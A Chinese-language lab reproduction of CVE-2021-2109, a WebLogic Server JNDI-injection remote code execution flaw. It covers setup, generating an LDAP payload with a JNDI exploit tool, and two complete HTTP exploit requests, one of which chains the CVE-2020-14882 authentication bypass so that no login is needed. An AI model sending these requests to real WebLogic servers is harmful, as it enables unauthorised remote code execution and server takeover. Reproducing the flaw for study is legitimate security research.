声明
好好学习,天天向上
漏洞描述
编号:CVE-2021-2109
Oracle官方发布了漏洞补丁,修了包括 CVE-2021-2109 Weblogic Server远程代码执行漏洞在内的多个高危严重漏洞。CVE-2021-2109 中,攻击者可构造恶意请求,造成JNDI注入,执行任意代码,从而控制服务器。
影响范围
WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0
复现过程
这里使用jdk-8u181,weblogic12.1.4.0版本
oracle官网下载weblogic的12.1.4.0版本
自己搭建确实是一言难尽,运行jar包各种报错,我专门为了这个漏洞装了个4C4G40G的win10的虚机
win10镜像地址
https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/
搭建过程参考
https://www.cnblogs.com/Zh1z3ven/p/13663714.html
https://www.kancloud.cn/oscar999/weblogic_admin/1509929
没想到新装的虚机也是各种报错,最后参考上面两个链接,使用绝对路径执行java命令才能正常安装
"C:\Program Files\Java\jdk1.8.0_181\bin\java.exe" -jar ./fmw_12.2.1.4.0_wls_lite_generic.jar
环境启动后,访问,输入刚刚设置的密码(这里注意一点,首次安装完,可能半天登录不进去,重启一下就可以正常登录了,真。。费劲)
http://192.168.31.61:7001/console
利用 JNDI 注入工具生成payload,攻击地址
https://github.com/welk1n/JNDI-Injection-Exploit
kali执行,IP是kali的IP
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 192.168.31.64
拷贝
ldap://192.168.31.64:1389/newxvi
登录 weblogic 控制台,发送数据包,这里有坑,注意吖,要改Host和Referer字段里面的IP,要把Cookie替换成你们登录后台的真实Cookie,复制ldap的路径URL时,要把IP里面的第三个.换成分号,这个分号不换的话,就一直返回302,不会返回200
POST /console/consolejndi.portal HTTP/1.1
Host: 192.168.31.61:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Referer: http://192.168.31.61:7001/console/css/%252e%252e%252f/consolejndi.portal
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Cookie: ADMINCONSOLESESSION=l3hw4cD8nJbaVySYAmggZ5yzDCn-4E-MT-pPTq5Mt5ecF7jzMEGi!-339443100
Connection: close
Content-Length: 163
_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.31;64:1389/newxvi;AdminServer%22)
成功弹出计算器
可以结合CVE-2020-14882权限绕过漏洞,删除cookie,重新构造数据包
POST /console/css/%252e%252e%252f/consolejndi.portal HTTP/1.1
Host: 192.168.31.61:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Referer: http://192.168.31.61:7001/console/css/%252e%252e%252f/consolejndi.portal
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 163
_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.31;64:1389/newxvi;AdminServer%22)